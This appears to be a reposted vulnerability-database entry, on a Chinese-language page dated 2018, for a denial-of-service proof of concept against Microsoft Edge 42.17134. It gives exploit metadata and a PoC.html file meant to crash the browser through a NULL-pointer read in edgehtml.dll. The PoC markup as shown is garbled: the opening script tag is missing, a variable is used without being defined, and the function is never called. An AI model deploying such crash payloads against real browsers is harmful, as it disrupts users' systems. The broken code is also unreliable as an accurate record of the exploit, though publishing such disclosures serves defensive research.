发布 2018-12-21 漏洞条目

Microsoft Edge 42.17134.1.0 – ‘Tree::ANode::DocumentLayout’ Denial of Service

Exploit Source

# Exploit Title: Microsoft Edge edgehtml.dll!Tree::ANode::DocumentLayout. Denial of Service (PoC)

# Google Dork: N/A

# Date: 2018-11-11

# Exploit Author: Bogdan Kurinnoy (b.kurinnoy@gmail.com)

# Vendor Homepage: https://www.microsoft.com/

# Version: Microsoft Edge 42.17134.1.0 (Microsoft EdgeHTML 17.17134)

# Tested on: Windows 10 x64

# CVE : N/A

# Description:

# Access violation while reading memory at 0x5C using a NULL pointer (microsoftedgecp.exe!edgehtml.dll!Tree::ANode::DocumentLayout)

# https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/19594021/

PoC.html

<html>

<head>

function ff() {

var v4= document.elementFromPoint(0,0);

v2.label = "C";

var v3= document.execCommand("selectAll", true);

}

</script>

</head>

</body>

</html>

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